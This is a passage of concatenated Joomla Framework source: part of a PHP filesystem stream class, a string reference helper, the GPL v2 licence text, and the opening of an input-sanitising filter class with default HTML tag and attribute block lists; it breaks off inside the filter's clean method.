	 */
	public function prependFilter($filtername, $readWrite =
\STREAM_FILTER_READ, $params = array())
	{
		$res = false;

		if ($this->fh)
		{
			// Capture PHP errors
			$php_errormsg = '';
			$trackErrors  = ini_get('track_errors');
			ini_set('track_errors', true);
			$res = @stream_filter_prepend($this->fh, $filtername, $readWrite,
$params);

			// Restore error tracking to what it was before.
			ini_set('track_errors', $trackErrors);

			if (!$res && $php_errormsg)
			{
				// Set the error msg
				throw new FilesystemException($php_errormsg);
			}

			array_unshift($this->filters, '');
			$this->filters[0] = &$res;
		}

		return $res;
	}

	/**
	 * Remove a filter, either by resource (handed out from the append or
prepend function)
	 * or via getting the filter list)
	 *
	 * @param   resource  $resource  The resource.
	 * @param   boolean   $byindex   The index of the filter.
	 *
	 * @return  boolean   Result of operation
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function removeFilter(&$resource, $byindex = false)
	{
		// Capture PHP errors
		$php_errormsg = '';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);

		if ($byindex)
		{
			$res = stream_filter_remove($this->filters[$resource]);
		}
		else
		{
			$res = stream_filter_remove($resource);
		}

		// Restore error tracking to what it was before.
		ini_set('track_errors', $trackErrors);

		if (!$res)
		{
			throw new FilesystemException($php_errormsg);
		}

		return $res;
	}

	/**
	 * Copy a file from src to dest
	 *
	 * @param   string    $src        The file path to copy from.
	 * @param   string    $dest       The file path to copy to.
	 * @param   resource  $context    A valid context resource (optional)
created with stream_context_create.
	 * @param   boolean   $usePrefix  Controls the use of a prefix (optional).
	 * @param   boolean   $relative   Determines if the filename given is
relative. Relative paths do not have JPATH_ROOT stripped.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function copy($src, $dest, $context = null, $usePrefix = true,
$relative = false)
	{
		// Capture PHP errors
		$trackErrors = ini_get('track_errors');
		ini_set('track_errors', true);

		$chmodDest = $this->_getFilename($dest, 'w', $usePrefix,
$relative);

		// Since we're going to open the file directly we need to get the
filename.
		// We need to use the same prefix so force everything to write.
		$src  = $this->_getFilename($src, 'w', $usePrefix,
$relative);
		$dest = $this->_getFilename($dest, 'w', $usePrefix,
$relative);

		// One supplied at copy; overrides everything
		if ($context)
		{
			// Use the provided context
			$res = @copy($src, $dest, $context);
		}
		elseif ($this->context)
		{
			// One provided at initialisation
			$res = @copy($src, $dest, $this->context);
		}
		else
		{
			// No context; all defaults
			$res = @copy($src, $dest);
		}

		// Restore error tracking to what it was before
		ini_set('track_errors', $trackErrors);

		if (!$res && $php_errormsg)
		{
			throw new FilesystemException($php_errormsg);
		}

		$this->chmod($chmodDest);

		return $res;
	}

	/**
	 * Moves a file
	 *
	 * @param   string    $src        The file path to move from.
	 * @param   string    $dest       The file path to move to.
	 * @param   resource  $context    A valid context resource (optional)
created with stream_context_create.
	 * @param   boolean   $usePrefix  Controls the use of a prefix (optional).
	 * @param   boolean   $relative   Determines if the filename given is
relative. Relative paths do not have JPATH_ROOT stripped.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function move($src, $dest, $context = null, $usePrefix = true,
$relative = false)
	{
		// Capture PHP errors
		$php_errormsg = '';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);

		$src  = $this->_getFilename($src, 'w', $usePrefix,
$relative);
		$dest = $this->_getFilename($dest, 'w', $usePrefix,
$relative);

		if ($context)
		{
			// Use the provided context
			$res = @rename($src, $dest, $context);
		}
		elseif ($this->context)
		{
			// Use the object's context
			$res = @rename($src, $dest, $this->context);
		}
		else
		{
			// Don't use any context
			$res = @rename($src, $dest);
		}

		// Restore error tracking to what it was before
		ini_set('track_errors', $trackErrors);

		if (!$res)
		{
			throw new FilesystemException($php_errormsg);
		}

		$this->chmod($dest);

		return $res;
	}

	/**
	 * Delete a file
	 *
	 * @param   string    $filename   The file path to delete.
	 * @param   resource  $context    A valid context resource (optional)
created with stream_context_create.
	 * @param   boolean   $usePrefix  Controls the use of a prefix (optional).
	 * @param   boolean   $relative   Determines if the filename given is
relative. Relative paths do not have JPATH_ROOT stripped.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function delete($filename, $context = null, $usePrefix = true,
$relative = false)
	{
		// Capture PHP errors
		$php_errormsg = '';
		$trackErrors  = ini_get('track_errors');
		ini_set('track_errors', true);

		$filename = $this->_getFilename($filename, 'w', $usePrefix,
$relative);

		if ($context)
		{
			// Use the provided context
			$res = @unlink($filename, $context);
		}
		elseif ($this->context)
		{
			// Use the object's context
			$res = @unlink($filename, $this->context);
		}
		else
		{
			// Don't use any context
			$res = @unlink($filename);
		}

		// Restore error tracking to what it was before.
		ini_set('track_errors', $trackErrors);

		if (!$res)
		{
			throw new FilesystemException($php_errormsg);
		}

		return $res;
	}

	/**
	 * Upload a file
	 *
	 * @param   string    $src        The file path to copy from (usually a
temp folder).
	 * @param   string    $dest       The file path to copy to.
	 * @param   resource  $context    A valid context resource (optional)
created with stream_context_create.
	 * @param   boolean   $usePrefix  Controls the use of a prefix (optional).
	 * @param   boolean   $relative   Determines if the filename given is
relative. Relative paths do not have JPATH_ROOT stripped.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  FilesystemException
	 */
	public function upload($src, $dest, $context = null, $usePrefix = true,
$relative = false)
	{
		if (is_uploaded_file($src))
		{
			// Make sure it's an uploaded file
			return $this->copy($src, $dest, $context, $usePrefix, $relative);
		}

		throw new FilesystemException('Not an uploaded file.');
	}

	/**
	 * Writes a chunk of data to a file.
	 *
	 * @param   string   $filename      The file name.
	 * @param   string   $buffer        The data to write to the file.
	 * @param   boolean  $appendToFile  Append to the file and not overwrite
it.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function writeFile($filename, &$buffer, $appendToFile = false)
	{
		$fileMode = 'w';

		// Switch the filemode when we want to append to the file
		if ($appendToFile)
		{
			$fileMode = 'a';
		}

		if ($this->open($filename, $fileMode))
		{
			$result = $this->write($buffer);
			$this->chmod();
			$this->close();

			return $result;
		}

		return false;
	}

	/**
	 * Determine the appropriate 'filename' of a file
	 *
	 * @param   string   $filename   Original filename of the file
	 * @param   string   $mode       Mode string to retrieve the filename
	 * @param   boolean  $usePrefix  Controls the use of a prefix
	 * @param   boolean  $relative   Determines if the filename given is
relative. Relative paths do not have JPATH_ROOT stripped.
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function _getFilename($filename, $mode, $usePrefix, $relative)
	{
		if ($usePrefix)
		{
			// Get rid of binary or t, should be at the end of the string
			$tmode = trim($mode, 'btf123456789');

			$stream   = explode('://', $filename, 2);
			$scheme   = '';
			$filename = $stream[0];

			if (\count($stream) >= 2)
			{
				$scheme   = $stream[0] . '://';
				$filename = $stream[1];
			}

			// Check if it's a write mode then add the appropriate prefix
			if (\in_array($tmode, Helper::getWriteModes()))
			{
				$prefixToUse = $this->writeprefix;
			}
			else
			{
				$prefixToUse = $this->readprefix;
			}

			// Get rid of JPATH_ROOT (legacy compat)
			if (!$relative && $prefixToUse)
			{
				$pos = strpos($filename, JPATH_ROOT);

				if ($pos !== false)
				{
					$filename = substr_replace($filename, '', $pos,
\strlen(JPATH_ROOT));
				}
			}

			$filename = ($prefixToUse ? $prefixToUse : '') . $filename;
		}

		return $filename;
	}

	/**
	 * Return the internal file handle
	 *
	 * @return  File handler
	 *
	 * @since   1.0
	 */
	public function getFileHandle()
	{
		return $this->fh;
	}

	/**
	 * Modifies a property of the object, creating it if it does not already
exist.
	 *
	 * @param   string  $property  The name of the property.
	 * @param   mixed   $value     The value of the property to set.
	 *
	 * @return  mixed  Previous value of the property.
	 *
	 * @since   1.0
	 */
	public function set($property, $value = null)
	{
		$previous        = isset($this->$property) ? $this->$property :
null;
		$this->$property = $value;

		return $previous;
	}

	/**
	 * Returns a property of the object or the default value if the property
is not set.
	 *
	 * @param   string  $property  The name of the property.
	 * @param   mixed   $default   The default value.
	 *
	 * @return  mixed    The value of the property.
	 *
	 * @since   1.0
	 */
	public function get($property, $default = null)
	{
		if (isset($this->$property))
		{
			return $this->$property;
		}

		return $default;
	}
}
<?php
/**
 * Part of the Joomla Framework Filesystem Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filesystem\Support;

/**
 * String Controller
 *
 * @since  1.0
 */
class StringController
{
	/**
	 * Internal string references
	 *
	 * @var     array
	 * @ssince  1.4.0
	 */
	private static $strings = array();

	/**
	 * Defines a variable as an array
	 *
	 * @return  array
	 *
	 * @since   1.0
	 * @deprecated  2.0  Use `getArray` instead.
	 */
	public static function _getArray()
	{
		return self::getArray();
	}

	/**
	 * Defines a variable as an array
	 *
	 * @return  array
	 *
	 * @since   1.4.0
	 */
	public static function getArray()
	{
		return self::$strings;
	}

	/**
	 * Create a reference
	 *
	 * @param   string  $reference  The key
	 * @param   string  $string     The value
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public static function createRef($reference, &$string)
	{
		self::$strings[$reference] = & $string;
	}

	/**
	 * Get reference
	 *
	 * @param   string  $reference  The key for the reference.
	 *
	 * @return  mixed  False if not set, reference if it exists
	 *
	 * @since   1.0
	 */
	public static function getRef($reference)
	{
		if (isset(self::$strings[$reference]))
		{
			return self::$strings[$reference];
		}

		return false;
	}
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Filter Package
 *
 * @copyright  Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Filter;

use Joomla\String\StringHelper;

/**
 * InputFilter is a class for filtering input from any data source
 *
 * Forked from the php input filter library by: Daniel Morris
<dan@rootcube.com>
 * Original Contributors: Gianpaolo Racca, Ghislain Picard, Marco
Wandschneider, Chris Tobin and Andrew Eddie.
 *
 * @since  1.0
 */
class InputFilter
{
	/**
	 * Defines the InputFilter instance should use a whitelist method for
sanitising tags.
	 *
	 * @var         integer
	 * @since       1.3.0
	 * @deprecated  2.0
	 */
	const TAGS_WHITELIST = 0;

	/**
	 * Defines the InputFilter instance should use a blacklist method for
sanitising tags.
	 *
	 * @var         integer
	 * @since       1.3.0
	 * @deprecated  2.0
	 */
	const TAGS_BLACKLIST = 1;

	/**
	 * Defines the InputFilter instance should use a whitelist method for
sanitising attributes.
	 *
	 * @var         integer
	 * @since       1.3.0
	 * @deprecated  2.0
	 */
	const ATTR_WHITELIST = 0;

	/**
	 * Defines the InputFilter instance should use a blacklist method for
sanitising attributes.
	 *
	 * @var         integer
	 * @since       1.3.0
	 * @deprecated  2.0
	 */
	const ATTR_BLACKLIST = 1;

	/**
	 * Defines the InputFilter instance should only allow the supplied list of
HTML tags.
	 *
	 * @var    integer
	 * @since  1.3.0
	 */
	const ONLY_ALLOW_DEFINED_TAGS = 0;

	/**
	 * Defines the InputFilter instance should block the defined list of tags
and allow all others.
	 *
	 * @var    integer
	 * @since  1.3.0
	 */
	const ONLY_BLOCK_DEFINED_TAGS = 1;

	/**
	 * Defines the InputFilter instance should only allow the supplied list of
attributes.
	 *
	 * @var    integer
	 * @since  1.3.0
	 */
	const ONLY_ALLOW_DEFINED_ATTRIBUTES = 0;

	/**
	 * Defines the InputFilter instance should use a block all attributes.
	 *
	 * @var    integer
	 * @since  1.3.0
	 */
	const ONLY_BLOCK_DEFINED_ATTRIBUTES = 1;

	/**
	 * A container for InputFilter instances.
	 *
	 * @var    InputFilter[]
	 * @since  1.0
	 * @deprecated  1.2.0
	 */
	protected static $instances = array();

	/**
	 * The array of permitted tags.
	 *
	 * @var    array
	 * @since  1.0
	 */
	public $tagsArray;

	/**
	 * The array of permitted tag attributes.
	 *
	 * @var    array
	 * @since  1.0
	 */
	public $attrArray;

	/**
	 * The method for sanitising tags
	 *
	 * @var    integer
	 * @since  1.0
	 */
	public $tagsMethod;

	/**
	 * The method for sanitising attributes
	 *
	 * @var    integer
	 * @since  1.0
	 */
	public $attrMethod;

	/**
	 * A flag for XSS checks. Only auto clean essentials = 0, Allow clean
blocked tags/attr = 1
	 *
	 * @var    integer
	 * @since  1.0
	 */
	public $xssAuto;

	/**
	 * The list of the default blocked tags.
	 *
	 * @var    array
	 * @since  1.0
	 * @notes  This property will be renamed to $blockedTags in version 2.0
	 */
	public $tagBlacklist = array(
		'applet',
		'body',
		'bgsound',
		'base',
		'basefont',
		'canvas',
		'embed',
		'frame',
		'frameset',
		'head',
		'html',
		'id',
		'iframe',
		'ilayer',
		'layer',
		'link',
		'meta',
		'name',
		'object',
		'script',
		'style',
		'title',
		'xml',
	);

	/**
	 * The list of the default blacklisted tag attributes. All event handlers
implicit.
	 *
	 * @var    array
	 * @since  1.0
	 * @notes  This property will be renamed to $blockedAttributes in version
2.0
	 */
	public $attrBlacklist = array(
		'action',
		'background',
		'codebase',
		'dynsrc',
		'formaction',
		'lowsrc',
	);

	/**
	 * A special list of blocked chars
	 *
	 * @var    array
	 * @since  1.3.3
	 */
	private $blockedChars = array(
		'&tab;',
		'&space;',
		'&colon;',
		'&column;',
	);

	/**
	 * Constructor for InputFilter class.
	 *
	 * @param   array    $tagsArray   List of user-defined tags
	 * @param   array    $attrArray   List of user-defined attributes
	 * @param   integer  $tagsMethod  The constant
static::ONLY_ALLOW_DEFINED_TAGS or static::BLOCK_DEFINED_TAGS
	 * @param   integer  $attrMethod  The constant
static::ONLY_ALLOW_DEFINED_ATTRIBUTES or static::BLOCK_DEFINED_ATTRIBUTES
	 * @param   integer  $xssAuto     Only auto clean essentials = 0, Allow
clean blocked tags/attributes = 1
	 *
	 * @since   1.0
	 */
	public function __construct($tagsArray = array(), $attrArray = array(),
$tagsMethod = self::TAGS_WHITELIST, $attrMethod = self::ATTR_WHITELIST,
		$xssAuto = 1
	)
	{
		// Make sure user defined arrays are in lowercase
		$tagsArray = array_map('strtolower', (array) $tagsArray);
		$attrArray = array_map('strtolower', (array) $attrArray);

		// Assign member variables
		$this->tagsArray  = $tagsArray;
		$this->attrArray  = $attrArray;
		$this->tagsMethod = $tagsMethod;
		$this->attrMethod = $attrMethod;
		$this->xssAuto    = $xssAuto;
	}

	/**
	 * Method to be called by another php script. Processes for XSS and
	 * specified bad code.
	 *
	 * @param   mixed   $source  Input string/array-of-string to be
'cleaned'
	 * @param   string  $type    The return type for the variable:
	 *                           INT:       An integer, or an array of
integers,
	 *                           UINT:      An unsigned integer, or an array
of unsigned integers,
	 *                           FLOAT:     A floating point number, or an
array of floating point numbers,
	 *                           BOOLEAN:   A boolean value,
	 *                           WORD:      A string containing A-Z or
underscores only (not case sensitive),
	 *                           ALNUM:     A string containing A-Z or 0-9
only (not case sensitive),
	 *                           CMD:       A string containing A-Z, 0-9,
underscores, periods or hyphens (not case sensitive),
	 *                           BASE64:    A string containing A-Z, 0-9,
forward slashes, plus or equals (not case sensitive),
	 *                           STRING:    A fully decoded and sanitised
string (default),
	 *                           HTML:      A sanitised string,
	 *                           ARRAY:     An array,
	 *                           PATH:      A sanitised file path, or an array
of sanitised file paths,
	 *                           TRIM:      A string trimmed from normal,
non-breaking and multibyte spaces
	 *                           USERNAME:  Do not use (use an application
specific filter),
	 *                           RAW:       The raw string is returned with no
filtering,
	 *                           unknown:   An unknown filter will act like
STRING. If the input is an array it will return an
	 *                                      array of fully decoded and
sanitised strings.
	 *
	 * @return  mixed  'Cleaned' version of input parameter
	 *
	 * @since   1.0
	 */
	public function clean($source, $type = 'string')
	{
		// Handle the type constraint cases
		switch (strtoupper($type))
		{
			case 'INT':
			case 'INTEGER':
				$pattern = '/[-+]?[0-9]+/';

				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						preg_match($pattern, (string) $eachString, $matches);
						$result[] = isset($matches[0]) ? (int) $matches[0] : 0;
					}
				}
				else
				{
					preg_match($pattern, (string) $source, $matches);
					$result = isset($matches[0]) ? (int) $matches[0] : 0;
				}

				break;

			case 'UINT':
				$pattern = '/[-+]?[0-9]+/';

				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						preg_match($pattern, (string) $eachString, $matches);
						$result[] = isset($matches[0]) ? abs((int) $matches[0]) : 0;
					}
				}
				else
				{
					preg_match($pattern, (string) $source, $matches);
					$result = isset($matches[0]) ? abs((int) $matches[0]) : 0;
				}

				break;

			case 'FLOAT':
			case 'DOUBLE':
				$pattern = '/[-+]?[0-9]+(\.[0-9]+)?([eE][-+]?[0-9]+)?/';

				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						preg_match($pattern, (string) $eachString, $matches);
						$result[] = isset($matches[0]) ? (float) $matches[0] : 0;
					}
				}
				else
				{
					preg_match($pattern, (string) $source, $matches);
					$result = isset($matches[0]) ? (float) $matches[0] : 0;
				}

				break;

			case 'BOOL':
			case 'BOOLEAN':

				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						$result[] = (bool) $eachString;
					}
				}
				else
				{
					$result = (bool) $source;
				}

				break;

			case 'WORD':
				$pattern = '/[^A-Z_]/i';

				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						$result[] = (string) preg_replace($pattern, '',
$eachString);
					}
				}
				else
				{
					$result = (string) preg_replace($pattern, '', $source);
				}

				break;

			case 'ALNUM':
				$pattern = '/[^A-Z0-9]/i';

				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						$result[] = (string) preg_replace($pattern, '',
$eachString);
					}
				}
				else
				{
					$result = (string) preg_replace($pattern, '', $source);
				}

				break;

			case 'CMD':
				$pattern = '/[^A-Z0-9_\.-]/i';

				if (\is_array($source))
				{
					$result = array();

					// Iterate through the array
					foreach ($source as $eachString)
					{
						$cleaned  = (string) preg_replace($pattern, '',
$eachString);
						$result[] = ltrim($cleaned, '.');
					}
				}
				else
				{
					$result = (string) preg_replace($pattern, '', $source);
					$result = ltrim($result, '.');
				}

				break;

			case 'BASE64':
				$pattern = '/[^A-Z0-9\/+=]/i';

